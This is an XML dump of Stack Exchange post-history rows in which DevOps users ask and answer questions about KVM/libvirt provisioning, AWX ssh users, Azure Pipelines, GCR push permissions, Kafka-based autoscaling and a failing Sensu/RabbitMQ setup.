  <row Id="16527" PostHistoryTypeId="50" PostId="3226" RevisionGUID="964e3c41-3e3e-4d86-a961-dc1d0bb58898" CreationDate="2018-10-20T02:00:48.480" UserId="-1" />
  <row Id="16528" PostHistoryTypeId="5" PostId="5147" RevisionGUID="bfc6d243-3de8-43cb-bb35-a2eabc3bb48a" CreationDate="2018-10-20T02:15:51.003" UserId="10255" Comment="added 484 characters in body" Text="There is a new generation of tooling developed that tries to integrate different IaaS providers (Azure/AWS/GCE/DigitalOcean) into one &quot;infrastructure codebase&quot;. It's dubbed &quot;Cloud Native&quot; and it's supposed to result in &quot;one tool to rule them all&quot;. There's Terraform from HashiCorp, InfraKit from Docker, Juju from Canonical, independent Foreman, Pulumi and others.&#xD;&#xA;&#xD;&#xA;It's easy to get lost. Which of these tools is best suited to IaaS on premises? Let's suppose you have a bunch of metal servers and you want to provision some VMs there. Let's suppose you don't want VirtualBox/VMWare/ESX/Xen, you want [KVM](https://en.wikipedia.org/wiki/Kernel-based_Virtual_Machine). And on top of that an obvious choice is [libvirt](https://en.wikipedia.org/wiki/Libvirt). To manage multiple hypervisors we need to connect to the libvirt daemon remotely using [connection URI](https://libvirt.org/guide/html/Application_Development_Guide-Connections-URI_Formats.html). For KVM we can use [qemu+ssh](https://wiki.libvirt.org/page/SSHSetup). Let's suppose we set those up using PXE boot. Now we have a bunch of `qemu+ssh://` links along with ssh access.&#xD;&#xA;&#xD;&#xA;Now we need a central component on top of that to manage resources and some tool that will provision virtual hosts according to some declarative specification.&#xD;&#xA;&#xD;&#xA;[![IaaS on premises using libvirt qemu kvm][1]][1]&#xD;&#xA;&#xD;&#xA;On top of those VMs I want to run containers, so automatic setup of container orchestration cluster is desired. In addition, some way of attaching storage is desired. At least directly attached block devices or fs mounts.&#xD;&#xA;&#xD;&#xA;Any suggestions?&#xD;&#xA;&#xD;&#xA;Note: Found [a similar question on SO][2], but for Xen.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Clarification: &quot;best suited&quot; needs metrics. So these are the metrics I'm looking to optimize:&#xD;&#xA;&#xD;&#xA; - Zero closed source LOC&#xD;&#xA; - Number of tools if not &quot;All-in-one&quot;&#xD;&#xA; - UI actions to setup 3 master + 5 workers k8s/swarm cluster&#xD;&#xA;    * number of commands (for CLI tool)&#xD;&#xA;    * number of clicks (for Web based/GUI tool)&#xD;&#xA;    * length/size of the config file&#xD;&#xA; - UI actions to install the tool&#xD;&#xA; - UI actions to maintain configuration (preferably none, self-healing infrastructure)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/KL1uW.jpg&#xD;&#xA;  [2]: https://stackoverflow.com/questions/3754392/" ContentLicense="CC BY-SA 4.0" />
  <row Id="16529" PostHistoryTypeId="2" PostId="5220" RevisionGUID="6b5a6108-ab3f-476a-a7a5-68470efb302c" CreationDate="2018-10-20T02:22:59.180" UserId="10428" Text="Hello I am running ansible 2.6.2 and awx 1.0.7.2 on rhel 7.5.  AWX is connecting to my ssh proxy as root instead of the defined Credential user.&#xD;&#xA;&#xD;&#xA;My playbook contains the following&#xD;&#xA;&#xD;&#xA;    become: yes&#xD;&#xA;    become_method: sudo&#xD;&#xA;    remote_user: remoteuser&#xD;&#xA;    ansible_user: remoteuser&#xD;&#xA;&#xD;&#xA;ssh.config in my playbook contain the following&#xD;&#xA;&#xD;&#xA;    match host !proxyA,!proxyB,* exec &quot;ssh proxyA nc -w1 %h %p &amp;&gt;/dev/null&#xD;&#xA;      ProxyJump proxyA&#xD;&#xA;    match host !proxyA,!proxyB,* exec &quot;ssh proxyB nc -w1 %h %p &amp;&gt;/dev/null&#xD;&#xA;      ProxyJump proxyB&#xD;&#xA;&#xD;&#xA;My AWX credential user which uses an ssh key and associated with the AWX JOB Template is this (which should be used for ssh connections):  remoteuser&#xD;&#xA;&#xD;&#xA;I have no defined entries in /etc/ansible/ansible.cfg or any ansible.cfg defined in the current working directory (of the playbook) or in $HOME.&#xD;&#xA;&#xD;&#xA;Here is the proxyA/B syslog entries showing the user that AWX is connecting as:&#xD;&#xA;&#xD;&#xA;  sshd: Failed publickey fro root from 1.2.3.4&#xD;&#xA;&#xD;&#xA;And here is the AWX ansible output showing the connection as 'root' instead of the 'remoteuser'&#xD;&#xA;&#xD;&#xA;  root@proxyA's password: root@proxyA's password:  root@proxyA's password:&#xD;&#xA;&#xD;&#xA;I can run the playbook through ansible (outside of AWX) without errors. &#xD;&#xA;&#xD;&#xA;So, how do I tell AWX to use the right user name?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16530" PostHistoryTypeId="1" PostId="5220" RevisionGUID="6b5a6108-ab3f-476a-a7a5-68470efb302c" CreationDate="2018-10-20T02:22:59.180" UserId="10428" Text="ansible AWX is connecting through ssh as root instead of user defined in credential" ContentLicense="CC BY-SA 4.0" />
  <row Id="16531" PostHistoryTypeId="3" PostId="5220" RevisionGUID="6b5a6108-ab3f-476a-a7a5-68470efb302c" CreationDate="2018-10-20T02:22:59.180" UserId="10428" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16532" PostHistoryTypeId="5" PostId="5157" RevisionGUID="b4f2912e-774d-4001-a337-1ac336c84d02" CreationDate="2018-10-20T06:33:24.780" UserId="354" Comment="made lists" Text="I've been doing some research on the Azure DevOps solution that [Microsoft recently unveiled][1].&#xD;&#xA;&#xD;&#xA;Some background, I've been using Jenkins for years, and recently started exploring the containerisation rabbit hole (Docker, Kubernetes, etc),&#xD;&#xA;&#xD;&#xA;I'm unsure about some of the aspects of Azure DevOps Pipelines, and it'd be awesome to get some feedback and clarity.  &#xD;&#xA;&#xD;&#xA;## TL;DR&#xD;&#xA;&#xD;&#xA; 1. Is Azure DevOps now competing with Jenkins, where they previously [supported the Jenkins community via open source plugins][2] for Jenkins? &#xD;&#xA; 1. Is it possible for me to host Azure DevOps Pipelines completely on premise, not just agents? &#xD;&#xA; 1. Is it possible to use a self host git solution (like GitLab on-premise) with Azure DevOps Pipelines? &#xD;&#xA;&#xD;&#xA;## Longer version &#xD;&#xA;&#xD;&#xA;  1. Microsoft has developed various open-source plugins for Jenkins, such as the [Azure App Service Jenkins plugin][3]. There are many examples. To me it seems like the Azure DevOps (specifically Pipelines) solution is now competing directly with Jenkins, or am I missing something?&#xD;&#xA;  1. To me it seems that there is no way to host the Azure Pipelines solution on premise, or in a cloud provider of my choice. Yes, I can [host my own agents][4] where the bulk of the work is performed, but the actual execution of the pipeline logic happens on Microsoft's servers. And then I have to [pay for parallel jobs][5]. I'm comparing this to an on-premise (or cloud provider of choice) hosted Jenkins instance, where no payment is required, and no 3rd party is even aware that our pipelines are running. Am I missing something? &#xD;&#xA;  1. From what I can tell, Azure Pipelines has no support for self hosted repositories, I either put my code [on GitHub or on Azure repos][6], nothing else. Thus, I can't even use this Pipelines solution if I have a privately hosted GitLab instance? &#xD;&#xA;&#xD;&#xA;Thanks for any input. &#xD;&#xA;&#xD;&#xA;  [1]: https://azure.microsoft.com/en-us/blog/introducing-azure-devops/&#xD;&#xA;  [2]: https://www.youtube.com/watch?v=buQNF1sekq8&#xD;&#xA;  [3]: https://docs.microsoft.com/en-us/azure/jenkins/deploy-jenkins-app-service-plugin&#xD;&#xA;  [4]: https://azure.microsoft.com/en-us/blog/announcing-azure-pipelines-with-unlimited-ci-cd-minutes-for-open-source/&#xD;&#xA;  [5]: https://azure.microsoft.com/en-us/pricing/details/devops/azure-pipelines/&#xD;&#xA;  [6]: https://docs.microsoft.com/en-us/azure/devops/pipelines/get-started-yaml?view=vsts" ContentLicense="CC BY-SA 4.0" />
  <row Id="16533" PostHistoryTypeId="24" PostId="5157" RevisionGUID="b4f2912e-774d-4001-a337-1ac336c84d02" CreationDate="2018-10-20T06:33:24.780" Comment="Proposed by 354 approved by -1 edit id of 817" ContentLicense="CC BY-SA 4.0" />
  <row Id="16534" PostHistoryTypeId="5" PostId="5157" RevisionGUID="e7496b1b-e9cf-4c64-aec8-b4dc232b3c80" CreationDate="2018-10-20T06:33:24.780" UserId="40" Comment="added 2 characters in body" Text="I've been doing some research on the Azure DevOps solution that [Microsoft recently unveiled][1].&#xD;&#xA;&#xD;&#xA;Some background, I've been using Jenkins for years, and recently started exploring the containerisation rabbit hole (Docker, Kubernetes, etc),&#xD;&#xA;&#xD;&#xA;I'm unsure about some of the aspects of Azure DevOps Pipelines, and it'd be awesome to get some feedback and clarity.  &#xD;&#xA;&#xD;&#xA;## TL;DR&#xD;&#xA;&#xD;&#xA; 1. Is Azure DevOps now competing with Jenkins, where they previously [supported the Jenkins community via open source plugins][2] for Jenkins? &#xD;&#xA; 1. Is it possible for me to host Azure DevOps Pipelines completely on premise, not just agents? &#xD;&#xA; 1. Is it possible to use a self hosted git solution (like GitLab on-premise) with Azure DevOps Pipelines? &#xD;&#xA;&#xD;&#xA;## Longer version &#xD;&#xA;&#xD;&#xA;  1. Microsoft has developed various open-source plugins for Jenkins, such as the [Azure App Service Jenkins plugin][3]. There are many examples. To me it seems like the Azure DevOps (specifically Pipelines) solution is now competing directly with Jenkins, or am I missing something?&#xD;&#xA;  1. To me it seems that there is no way to host the Azure Pipelines solution on premise, or in a cloud provider of my choice. Yes, I can [host my own agents][4] where the bulk of the work is performed, but the actual execution of the pipeline logic happens on Microsoft's servers. And then I have to [pay for parallel jobs][5]. I'm comparing this to an on-premise (or cloud provider of choice) hosted Jenkins instance, where no payment is required, and no 3rd party is even aware that our pipelines are running. Am I missing something? &#xD;&#xA;  1. From what I can tell, Azure Pipelines has no support for self hosted repositories, I either put my code [on GitHub or on Azure repos][6], nothing else. Thus, I can't even use this Pipelines solution if I have a privately hosted GitLab instance? &#xD;&#xA;&#xD;&#xA;Thanks for any input. &#xD;&#xA;&#xD;&#xA;  [1]: https://azure.microsoft.com/en-us/blog/introducing-azure-devops/&#xD;&#xA;  [2]: https://www.youtube.com/watch?v=buQNF1sekq8&#xD;&#xA;  [3]: https://docs.microsoft.com/en-us/azure/jenkins/deploy-jenkins-app-service-plugin&#xD;&#xA;  [4]: https://azure.microsoft.com/en-us/blog/announcing-azure-pipelines-with-unlimited-ci-cd-minutes-for-open-source/&#xD;&#xA;  [5]: https://azure.microsoft.com/en-us/pricing/details/devops/azure-pipelines/&#xD;&#xA;  [6]: https://docs.microsoft.com/en-us/azure/devops/pipelines/get-started-yaml?view=vsts" ContentLicense="CC BY-SA 4.0" />
  <row Id="16535" PostHistoryTypeId="5" PostId="5215" RevisionGUID="d8755243-706f-4558-a253-b986f758f4a4" CreationDate="2018-10-20T06:35:51.593" UserId="354" Comment="made lists" Text="I created a new VM instance on my GCE compute engine (I have Owner permissions). On that instance, I installed git, docker, and gcloud - everything is done under `sudo su`. &#xD;&#xA;&#xD;&#xA;I was hoping I can use that VM instance to deploy images to GCR, but whatever I do - **I cannot seem to have sufficient permissions to push** the images from that instance. &#xD;&#xA;&#xD;&#xA;  1. I granted &quot;Storage Admin&quot; along with the &quot;Editor&quot; permissions to the VM Instance (autogenerated) IAM service-account.&#xD;&#xA;  1. When I run `docker login eu.gcr.io` I receive `Login Succeeded` with no problems. &#xD;&#xA;  1. I copied both a p12 key and a .json key to the .ssh folder (I generated them on the IAM console) - but that had no use too.&#xD;&#xA;  1. To tag and push the docker image, I [use this:][1]: &#xD;&#xA;&#xD;&#xA;    docker tag [SOURCE_IMAGE] [HOSTNAME]/[PROJECT-ID]/[IMAGE]&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    docker push [HOSTNAME]/[PROJECT-ID]/[IMAGE]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Notice: It seems that at this stage (2018) `gcloud docker -- push` is obsolete (and it didn't work for me as well...) &#xD;&#xA;&#xD;&#xA;Notice: The bucket is NOT created yet, so setting permissions on the Storage console is out of the question at this point.&#xD;&#xA;&#xD;&#xA;What could be the reason for the Permission Denied problem ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/container-registry/docs/pushing-and-pulling" ContentLicense="CC BY-SA 4.0" />
  <row Id="16536" PostHistoryTypeId="24" PostId="5215" RevisionGUID="d8755243-706f-4558-a253-b986f758f4a4" CreationDate="2018-10-20T06:35:51.593" Comment="Proposed by 354 approved by -1 edit id of 818" ContentLicense="CC BY-SA 4.0" />
  <row Id="16537" PostHistoryTypeId="4" PostId="5215" RevisionGUID="c942bb7f-e590-4c77-90a6-ee50a47cc4ce" CreationDate="2018-10-20T06:35:51.593" UserId="40" Comment="edited title" Text="Why am I unable to push docker image in gce (gcr.io)?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16538" PostHistoryTypeId="4" PostId="787" RevisionGUID="e80eb241-4191-486d-bb93-a1c19b98fc10" CreationDate="2018-10-20T07:45:21.360" UserId="40" Comment="remove tag from title" Text="Separate SQL Server or just separate SQL Database for test and production?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16539" PostHistoryTypeId="5" PostId="769" RevisionGUID="5907b64d-93ed-4aca-850d-0876b218caf0" CreationDate="2018-10-20T07:51:26.093" UserId="40" Comment="Integrate comments from OPer " Text="I have autoscaling groups that I want to dynamically scale up/down based on the amount of lag showing in certain Kafka topics. There's a 1:1 relationship between topic and autoscaling group that needs to be scaled. I'm fairly sure I can't use CloudWatch metrics to approach this.&#xD;&#xA;&#xD;&#xA; Is there a way I could accomplish this using Jenkins without creating race conditions and other issues?&#xD;&#xA;&#xD;&#xA;Note: My application is not constrained by CPU, Disk I/O, or any other metric provided by CloudWatch; the constraint is the application's ability to process from incoming Kafka topics." ContentLicense="CC BY-SA 4.0" />
  <row Id="16540" PostHistoryTypeId="4" PostId="769" RevisionGUID="5907b64d-93ed-4aca-850d-0876b218caf0" CreationDate="2018-10-20T07:51:26.093" UserId="40" Comment="Integrate comments from OPer " Text="How can I autoscale instances based on Kafka topic lag?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16541" PostHistoryTypeId="5" PostId="4318" RevisionGUID="a0095dba-3be0-45ca-a0d7-ccfd4a9b7330" CreationDate="2018-10-20T16:41:23.740" UserId="8163" Comment="added 1887 characters in body" Text="The posted answers have been very helpful in allowing me to re-think my problem and various approaches.  I haven't implemented a solution yet but I have decided on an approach so I am documenting that and selecting it as the answer. In summary it is this:&#xD;&#xA;&#xD;&#xA;### My Chosen Approach ###&#xD;&#xA;&#xD;&#xA;- For the live environment I will use two Virtual Machines (probably using DigitalOcean droplets) running Ubuntu and configured exactly the same.&#xD;&#xA;- I will employ a Blue-Green approach using the Floating IP facility within DO to maintain my two identical server as Live and Pre-Prod/Backup.&#xD;&#xA;- I will create a VM (probably using VirtualBox) in my development set up for use as a staging environment.  This VM will be set up exactly the same as my two live servers.&#xD;&#xA;- I will write a single common script in Python for setting up an environment from scratch and I will use this to configure my staging environment and my live/pre-prod pair.&#xD;&#xA;- I will employ git hooks to trigger updates to the environments (probably manually triggered).&#xD;&#xA;&#xD;&#xA;### Considerations Which Drove This Approach ###&#xD;&#xA;&#xD;&#xA;- Docker: I have decided against it.  Although  I take seriously the responses (thank you @Levi and @Dan) which say I should re-visit and it shouldn't be that bad, I have had too many experiences in the past of embarking on something new and realise I have fallen down a rabbit hole which eats up time and takes an age to get going.  I think it would be different if I was even working with one other person but as someone working completely alone every minute is precious.&#xD;&#xA;&#xD;&#xA;- Virtual Machines: I hadn't really considered this until I started working with some of the Docker tutorials which use VMs to demonstrate the Swarm functionality.  The idea of being able to create a brand new environment which I have complete control of is very appealing.&#xD;&#xA;&#xD;&#xA;- Scripting: Prompted by @AnoE's helpful reply I have done a bit more digging and it seems that Python is recognised as a viable option for scripting and as that is what I am writing my app in it seems there should be some synergy (If I need to learn something new for my script it will be knowledge I may use in writing my app)&#xD;&#xA;&#xD;&#xA;I will update once I have made some progress with this and if it goes horribly wrong I will acknowledge I maybe made the wrong choice!).&#xD;&#xA;&#xD;&#xA;### Update on 20th October 2018. ###&#xD;&#xA;&#xD;&#xA;I set out to write a Python script but this often involved invoking a bash command from Python and then getting the response back and I found this added to the development time quite a lot.  After a couple of weeks of slow progress I looked elsewhere.  I admit I may have been approaching it wrongly but I needed something which was going to be faster.&#xD;&#xA;&#xD;&#xA;I eventually settled on Vagrant / Ansible / VirtualBox and after more months than I like to admit got something that worked well, but after a lot of work learning some new skills (Vagrant and Ansible were completely new to me).  I then applied the Ansible script to provision a DigitalOcean Droplet and found this worked really well.  I have become a fan of Ansible but even though I agree (with reviewers) that it is relatively easy to use, it's still a new paradigm and quite a steep learning curve.&#xD;&#xA;&#xD;&#xA;At the time of writing, I have provisioned two separate Droplets on DigitalOcean in a blue-green configuration, using DO Floating IP addresses to switch between the two, and on each the application is within a git working copy so I just need to refresh the Master to update an environment.&#xD;&#xA;&#xD;&#xA;I am having a problem getting Floating IPs to work as I was expecting but I expect to resolve that soon and then I will have a working DevOps environment.&#xD;&#xA;&#xD;&#xA;The big advantage of this approach is that the way Ansible works, once you have something working it's relatively easy to make it work in a different environment and this may not be so easy to achieve with a python script (or at least you have to build this in which is extra work).&#xD;&#xA;&#xD;&#xA;I think the big lesson is that things take longer than I expect them to and learning a new technology always brings unknown unknowns.  This shouldn't be a surprise to me - but it always is and working as a lone developer, this happens to me a lot." ContentLicense="CC BY-SA 4.0" />
  <row Id="16542" PostHistoryTypeId="2" PostId="5221" RevisionGUID="ad754922-38e2-498b-b800-d5327f20eef3" CreationDate="2018-10-20T16:52:01.047" UserId="47" Text="From the [Before you begin][1] section of the instructions you referenced:&#xD;&#xA;&#xD;&#xA;&gt; Make sure that you:&#xD;&#xA;&gt; &#xD;&#xA;&gt; 3. Have [access to the registries][2] which you will be pushing to and pulling from&#xD;&#xA;&#xD;&#xA;This is specified in more details in [Using Container Registry with Google Cloud Platform][3]:&#xD;&#xA;&#xD;&#xA;&gt; To push private Docker images from a Compute Engine instance, your&#xD;&#xA;&gt; instance must have [`read-write` or `full-control` permission][4] to&#xD;&#xA;&gt; the image's bucket.&#xD;&#xA;&#xD;&#xA;So the GCS bucket corresponding to `gcr.io` (or whichever GCR domain you want to use) and the desired cloud project must already be created and your GCE instance's service account must have the necessary [role/permissions][5] for push operations.&#xD;&#xA;&#xD;&#xA;It's true, the instructions you referenced mention in [Push the tagged image to Container Registry][6]:&#xD;&#xA;&#xD;&#xA;&gt; When you push an image to a registry with a new hostname, Container&#xD;&#xA;&gt; Registry creates a storage bucket in the specified [multi-regional&#xD;&#xA;&gt; location][7].&#xD;&#xA;&#xD;&#xA;So I believe you'd have to:&#xD;&#xA;&#xD;&#xA;- first create create the bucket by executing a push to the desired GCR domain and project, but: &#xD;&#xA;  - from your own computer (or some machine which is not a GCE instance, but YMMV)&#xD;&#xA;  - using the credentials of an acceptable identity, not the GCE instance service account's ones. I'd try with a real user credentials, I'm not sure if a service account's ones would cut it.&#xD;&#xA;- after the bucket is created add to its access control the GCE instance service account's role/permissions for push operations&#xD;&#xA;- then perform pushes from the GCE instance&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/container-registry/docs/pushing-and-pulling#before_you_begin&#xD;&#xA;  [2]: https://cloud.google.com/container-registry/docs/access-control&#xD;&#xA;  [3]: https://cloud.google.com/container-registry/docs/using-with-google-cloud-platform&#xD;&#xA;  [4]: https://cloud.google.com/storage/docs/authentication#oauth&#xD;&#xA;  [5]: https://cloud.google.com/container-registry/docs/access-control#permissions_and_roles&#xD;&#xA;  [6]: https://cloud.google.com/container-registry/docs/pushing-and-pulling#push_the_tagged_image_to_product_name_short&#xD;&#xA;  [7]: https://cloud.google.com/storage/docs/bucket-locations#location-mr" ContentLicense="CC BY-SA 4.0" />
  <row Id="16543" PostHistoryTypeId="2" PostId="5222" RevisionGUID="9955ef5a-f203-4c3a-8a0a-d75d3d357d06" CreationDate="2018-10-20T16:53:54.303" UserId="-1" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="16544" PostHistoryTypeId="1" PostId="5222" RevisionGUID="9955ef5a-f203-4c3a-8a0a-d75d3d357d06" CreationDate="2018-10-20T16:53:54.303" UserId="-1" ContentLicense="CC BY-SA 4.0" />
  <row Id="16545" PostHistoryTypeId="2" PostId="5223" RevisionGUID="2824804a-80dd-4b88-8d42-977123ac4e94" CreationDate="2018-10-20T16:53:54.303" UserId="-1" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="16546" PostHistoryTypeId="1" PostId="5223" RevisionGUID="2824804a-80dd-4b88-8d42-977123ac4e94" CreationDate="2018-10-20T16:53:54.303" UserId="-1" ContentLicense="CC BY-SA 4.0" />
  <row Id="16547" PostHistoryTypeId="6" PostId="884" RevisionGUID="4b87ff6e-4a71-4d0b-bb75-7c2f70aa4648" CreationDate="2018-10-20T16:57:15.467" UserId="40" Comment="edited tags" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;sensu&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16548" PostHistoryTypeId="5" PostId="920" RevisionGUID="251703ba-1e27-4649-bda3-c97b55e82a7f" CreationDate="2018-10-20T17:00:30.897" UserId="40" Comment="integrate comment from OPer" Text="I'm looking for a single product or service which can be used as a centralized dashboard to monitor cloud infrastructure provide by Amazon Web Services and Google Cloud Platform in addition to the application.&#xD;&#xA;&#xD;&#xA;I'm looking at few options like sensu which support all of the [services in Amazon Web Services][1], but I didn't find any plugins to monitor Google Cloud Platform.&#xD;&#xA;&#xD;&#xA;Are there any other services or products that allow me to create this, my preference is Open Source?&#xD;&#xA;&#xD;&#xA;Note: Everyone has access to GCP and AWS and if anyone launches something it will be easy to have one dashboard for monitoring.&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/sensu-plugins/sensu-plugins-aws" ContentLicense="CC BY-SA 4.0" />
  <row Id="16549" PostHistoryTypeId="5" PostId="1153" RevisionGUID="42ab70df-84eb-42de-bd13-5424a434d18c" CreationDate="2018-10-20T17:02:31.933" UserId="40" Comment="deleted 88 characters in body" Text="I have a fresh sensu/uchiwa stack running on a virtual machine. It is a &quot;standalone&quot; installation - redis, rabbitmq, sensu-server, sensu-api, sensu-client, and uchiwa are all installed on the same machine. I have a single check which the client.json subscribes to.&#xD;&#xA;&#xD;&#xA;In short, something appears to be wrong. I logged into the uchiwa dashboard, and there is a warning message that &quot;Datacenter sensu-81 returned: 500 INTERNAL SERVER ERROR&quot;.&#xD;&#xA;&#xD;&#xA;The `sensu-client`, `sensu-api` and `sensu-server` logs are filled with these messages and only these messages:&#xD;&#xA;&#xD;&#xA;    ==&gt; /var/log/sensu/sensu-api.log &lt;==&#xD;&#xA;    {&quot;timestamp&quot;:&quot;2017-05-11T21:00:34.758243+0000&quot;,&quot;level&quot;:&quot;warn&quot;,&quot;message&quot;:&quot;transport connection error&quot;,&quot;reason&quot;:&quot;tcp connection lost&quot;}&#xD;&#xA;    {&quot;timestamp&quot;:&quot;2017-05-11T21:00:34.758784+0000&quot;,&quot;level&quot;:&quot;warn&quot;,&quot;message&quot;:&quot;transport connection error&quot;,&quot;reason&quot;:&quot;possible authentication failure. wrong credentials?&quot;,&quot;user&quot;:&quot;sensu&quot;}&#xD;&#xA;    &#xD;&#xA;    ==&gt; /var/log/sensu/sensu-client.log &lt;==&#xD;&#xA;    {&quot;timestamp&quot;:&quot;2017-05-11T21:00:35.973060+0000&quot;,&quot;level&quot;:&quot;warn&quot;,&quot;message&quot;:&quot;transport connection error&quot;,&quot;reason&quot;:&quot;tcp connection lost&quot;}&#xD;&#xA;    {&quot;timestamp&quot;:&quot;2017-05-11T21:00:35.974858+0000&quot;,&quot;level&quot;:&quot;warn&quot;,&quot;message&quot;:&quot;transport connection error&quot;,&quot;reason&quot;:&quot;possible authentication failure. wrong credentials?&quot;,&quot;user&quot;:&quot;sensu&quot;}&#xD;&#xA;    &#xD;&#xA;    ==&gt; /var/log/sensu/sensu-server.log &lt;==&#xD;&#xA;    {&quot;timestamp&quot;:&quot;2017-05-11T21:00:37.489540+0000&quot;,&quot;level&quot;:&quot;warn&quot;,&quot;message&quot;:&quot;transport connection error&quot;,&quot;reason&quot;:&quot;tcp connection lost&quot;}&#xD;&#xA;    {&quot;timestamp&quot;:&quot;2017-05-11T21:00:37.489704+0000&quot;,&quot;level&quot;:&quot;warn&quot;,&quot;message&quot;:&quot;transport connection error&quot;,&quot;reason&quot;:&quot;possible authentication failure. wrong credentials?&quot;,&quot;user&quot;:&quot;sensu&quot;}&#xD;&#xA;&#xD;&#xA;It suggests that there is an error connecting to the transport layer, so I checked that my transport.json was configured as expected, and it was (the sensu default):&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;transport&quot;: {&#xD;&#xA;        &quot;name&quot;: &quot;rabbitmq&quot;,&#xD;&#xA;        &quot;reconnect_on_error&quot;: true&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;So I checked sensu's rabbitmq.json to check that it was configured as expected, which again it was. (Note: I have a line in my hosts file which translates monitor to 127.0.0.1. I am aware of the issue with using &quot;localhost&quot; causing problems with IPv6, so I double checked that the hosts file maps &quot;monitor&quot; to 127.0.0.1). To further confirm that these credentials are working, I turned on the rabbitmq web-based management and logged in successfully using those credentials.&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;rabbitmq&quot;: {&#xD;&#xA;            &quot;ssl&quot;: {&#xD;&#xA;          &quot;cert_chain_file&quot;: &quot;/etc/sensu/ssl/cert.pem&quot;,&#xD;&#xA;          &quot;private_key_file&quot;: &quot;/etc/sensu/ssl/key.pem&quot;&#xD;&#xA;        },&#xD;&#xA;            &quot;host&quot;: &quot;monitor&quot;,&#xD;&#xA;        &quot;port&quot;: 5671,&#xD;&#xA;        &quot;vhost&quot;: &quot;/sensu&quot;,&#xD;&#xA;        &quot;user&quot;: &quot;sensu&quot;,&#xD;&#xA;        &quot;password&quot;: &quot;sensu&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I also checked that the configuration of rabbitmq itself was as expected (ssl turned on and such):&#xD;&#xA;&#xD;&#xA;    [&#xD;&#xA;        {rabbit, [&#xD;&#xA;            {ssl_listeners, [5671]},&#xD;&#xA;        {ssl_options, [{cacertfile,&quot;/etc/rabbitmq/ssl/cacert.pem&quot;},&#xD;&#xA;                       {certfile,&quot;/etc/rabbitmq/ssl/cert.pem&quot;},&#xD;&#xA;                       {keyfile,&quot;/etc/rabbitmq/ssl/key.pem&quot;},&#xD;&#xA;                       {verify,verify_peer},&#xD;&#xA;                       {fail_if_no_peer_cert,true}]}&#xD;&#xA;          ]}&#xD;&#xA;    ].&#xD;&#xA;&#xD;&#xA;I'm at a loss where to continue debugging.&#xD;&#xA;&#xD;&#xA;I also checked the api.json and uchiwa.json config files, just to make sure they had credentials which matched, which they do:&#xD;&#xA;&#xD;&#xA;api.json:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;api&quot;: {&#xD;&#xA;        &quot;host&quot;: &quot;monitor&quot;,&#xD;&#xA;        &quot;port&quot;: 4567,&#xD;&#xA;        &quot;user&quot;: &quot;admin&quot;,&#xD;&#xA;        &quot;password&quot;: &quot;secret&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;uchiwa.json:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;     &quot;sensu&quot;: [&#xD;&#xA;       {&#xD;&#xA;           &quot;name&quot;: &quot;&quot;,&#xD;&#xA;           &quot;host&quot;: &quot;monitor&quot;,&#xD;&#xA;           &quot;ssl&quot;: false,&#xD;&#xA;           &quot;port&quot;: 4567,&#xD;&#xA;           &quot;user&quot;: &quot;admin&quot;,&#xD;&#xA;           &quot;pass&quot;: &quot;secret&quot;,&#xD;&#xA;           &quot;path&quot;: &quot;&quot;,&#xD;&#xA;           &quot;timeout&quot;: 5000&#xD;&#xA;       }&#xD;&#xA;     ],&#xD;&#xA;     &quot;uchiwa&quot;: {&#xD;&#xA;       &quot;users&quot;: [&#xD;&#xA;        {&#xD;&#xA;            &quot;password&quot;: &quot;admin&quot;,&#xD;&#xA;            &quot;username&quot;: &quot;admin&quot;&#xD;&#xA;        }&#xD;&#xA;    ],&#xD;&#xA;       &quot;port&quot;: 3000,&#xD;&#xA;       &quot;refresh&quot;: 5&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Attempting to talk to the sensu api directly from inside the box gives a 500 error also:&#xD;&#xA;&#xD;&#xA;    vagrant@vagrant-ubuntu-trusty-64:/etc/default$ curl -I http://localhost:4567/stashes -u admin&#xD;&#xA;    Enter host password for user 'admin':&#xD;&#xA;    HTTP/1.1 500 Internal Server Error&#xD;&#xA;    Access-Control-Allow-Credentials: true&#xD;&#xA;    Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization&#xD;&#xA;    Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS&#xD;&#xA;    Access-Control-Allow-Origin: *&#xD;&#xA;    Connection: close&#xD;&#xA;    Content-length: 0" ContentLicense="CC BY-SA 4.0" />
